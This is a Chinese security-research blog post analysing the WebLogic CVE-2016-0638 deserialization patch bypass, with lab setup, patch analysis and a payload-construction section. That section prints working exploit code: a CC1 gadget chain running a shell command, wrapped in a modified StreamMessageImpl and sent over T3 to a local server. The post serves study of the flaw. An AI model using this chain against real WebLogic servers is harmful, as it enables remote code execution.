Weblogic CVE-2016-0638反序列化漏洞

開始著手對Weblogic歷史漏洞進行剖析,周末分析了Weblogic歷史上的嚴重漏洞,一次針對CVE-2015-4852漏洞的補丁繞過。原理雖然簡單,但是時間太過久遠,一些關鍵點被歷史的長河淹沒。找了很多師傅們的博客文章,關于如何封裝之前的利用鏈,大多是用的https://github.com/5up3rc/weblogic_cmd中的現有功能。打算從補丁分析、補丁繞過、利用構造三大方面開始分析,揭開分析Weblogic漏洞的序幕。
漏洞介紹
該漏洞是早期Weblogic漏洞中經典的二次反序列化漏洞,主要利用該姿勢繞過CVE-2015-4852漏洞補丁。二次反序列化的點在weblogic.jms.common.StreamMessageImpl類的readExternal方法中,并且沒有使用ServerChannelInputStream中的反序列化功能,從一個全新的ObjectInputStream進行反序列化,從而繞過了黑名單的限制。
環境搭建
0x1 自動化搭建
現成環境
可以采用現成的docker環境,執行以下命令生成對應版本的docker
docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6
自動搭建
利用Docker自動化搭建,在github下載搭建代碼
[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)
本次實驗環境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夾下存放相對應版本的程序

執行如下命令:
./WeblogicDockerBuild.shdocker-compose up -d

0x2 配置調試環境
腳本會自動開啟8453調試端口,配置idea并進行連接

0x3 補丁安裝
將下載好的補丁 p21984589_1036_Generic.zip 解壓放在/weblogic/oracle/middleware/utils/bsu/cache_dir 中

后續進入/weblogic/oracle/middleware/utils/bsu 目錄進行補丁安裝,需注意安裝補丁時將java運行內存調整到合適大小

cd /weblogic/oracle/middleware/utils/bsu./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=S8C2 -prod_dir=/weblogic/oracle/middleware/wlserver

查看已安裝補丁

補丁分析及繞過
weblogic的補丁真是難找,找了半天總算是下到了 p21984589_1036_Generic
0x1 補丁分析
在補丁包中發現patch的代碼,具體jar包為BUG21984589_1036013.jar,補丁在resolveClass方法中添加了過濾函數,利用ClassFilter.isBlackListed函數進行黑名單過濾。

黑名單攔截的Java類如下,上個漏洞的命令執行方法被堵死了,org.apache.commons.collections.functors和javassist以及xsltc.trax等類型被過濾。

0x2 繞過思路
因為補丁是在weblogic.rjvm.InboundMsgAbbrev.ServerChannelInputStream#resolveClass這里做的patch,我們只需要找到一處不使用ServerChannelInputStream進行的反序列化即可繞過黑名單的限制。CVE-2016-0638采用了weblogic.jms.common.StreamMessageImpl來繞過黑名單,該類繼承了Externalizable接口,重點關注在反序列化時執行的readExternal方法。

在864行調用的readObject函數是在858行new出來的ObjectInputStream對象,因此沒有過濾機制。所以繞過思路就是將cve-2015-4852的poc封裝進this.payload中繞過黑名單,從而在var5調用readObject函數的時候觸發之前的反序列化漏洞。
0x3 可行性分析
那么這里到底能不能傳入我們可控的數據呢?需要進一步的研究分析,重點關注這里的this.payload變量是怎么來的
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);BufferInputStream var4 = this.payload.getInputStream();ObjectInputStream var5 = new ObjectInputStream(var4);...this.writeObject(var5.readObject());
由StreamMessageImpl類的readExternal方法得知,this.payload為PayloadFactoryImpl.createPayload創建得到,該部分代碼如下

createPayload函數中首先從InputStream流中獲取一個int類型的數據,之后將輸入流和int類型數據傳遞給copyPayloadFromStream函數。該部分代碼如下

copyPayloadFromStream從反序列化獲取的長度和ChunkSize的2倍進行比較選出最小的那個,并和輸入流一起傳入到Chunk.createOneSharedChunk函數中進行如下操作,最后返回了一個包含指定長度輸入流的chunk塊。

后續代碼如下,從創建的Chunk中獲取數據并進行反序列化。
BufferInputStream var4 = this.payload.getInputStream();ObjectInputStream var5 = new ObjectInputStream(var4);this.writeObject(var5.readObject());
因此從代碼層面講,只需在序列化的時候填充相應的數據就可以實現指定數據的二次反序列化,聽起來很神奇,下面看一看怎么構造利用代碼。
Playload構造
在網上找了半天關于這塊的分析,發現大佬們基本采用了該項目https://github.com/5up3rc/weblogic_cmd進行的利用,筆者打算參照該項目以及其他師傅們的項目思路從零構造利用代碼。完整代碼參見https://github.com/BabyTeam1024/CVE-2016-0638
0x1 重寫StreamMessageImpl序列化方法
需要修改StreamMessageImpl類的writeExternal代碼實現寫入自定義數據。再次分析readExternal的操作,提取出如下關鍵代碼:
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { super.readExternal(var1); var1.readByte(); var1.readInt(); var1.readObject();...... }
我們需要做的就是在序列化的操作與反序列化中的操作對應起來。因此在序列化時需要實現如下代碼
public void writeExternal(ObjectOutput paramObjectOutput) throws IOException { super.writeExternal(paramObjectOutput); paramObjectOutput.writeByte(1); paramObjectOutput.writeInt(DataSize); paramObjectOutput.write(DataBuffer);
關于DataSize和DataBuffer的相關分析在上面的可行性分析中討論過。我們將StreamMessageImpl類代碼從jar包中提取出來,因此可以任意增刪代碼。可以刪除不必要的代碼(比如readExternal方法在序列化時不太需要),并添加如下關鍵代碼,為二次反序列化做準備
public final byte[] getDataBuffer() { return this.buffer;}
public final int getDataSize() { return this.length;}
public final void setDataBuffer(byte[] var1, int var2) { this.buffer = var1; this.length = var2;}
因為StreamMessageImpl繼承了抽象類MessageImpl,一些方法還不能刪除。
0x2 導入依賴庫
導入ysoserial中的permit-reflect-0.3.jar以及StreamMessageImpl中的一些必要依賴

0x3 整合封裝
首先將cc1鏈封裝成函數getObject
public byte[] getObject() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"touch /tmp/D4ck"}) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler"; final Constructor constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance( testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(), secondInvocationHandler); final Constructor ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0]; ctor.setAccessible(true); final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap); byte[] serializeData=serialize(handler); return serializeData;}
之后在main函數中獲取構造好的利用對象并進行反序列化操作,接著賦值給StreamMessageImpl類的buffer對象,代碼如下。
public static void main(String[] args) throws Exception { byte[] payloadObject = new cve_2016_0638().getObject(); StreamMessageImpl streamMessage = new StreamMessageImpl(); streamMessage.setDataBuffer(payloadObject,payloadObject.length); byte[] payload2 = Serializables.serialize(streamMessage); T3ProtocolOperation.send("127.0.0.1", "7001", payload2); }

總結
通過分析CVE-2016-0638學習到了構造反序列化漏洞payload的一些新方法,通過修改源碼實現我們設計的功能。在后續weblogic漏洞學習中還是重點分析從0到1的過程,以及學習一些不出網回顯利用和內存馬的編寫方式。
參考文章
https://y4er.com/post/weblogic-cve-2016-0638/
https://paper.seebug.org/584/
https://github.com/5up3rc/weblogic_cmd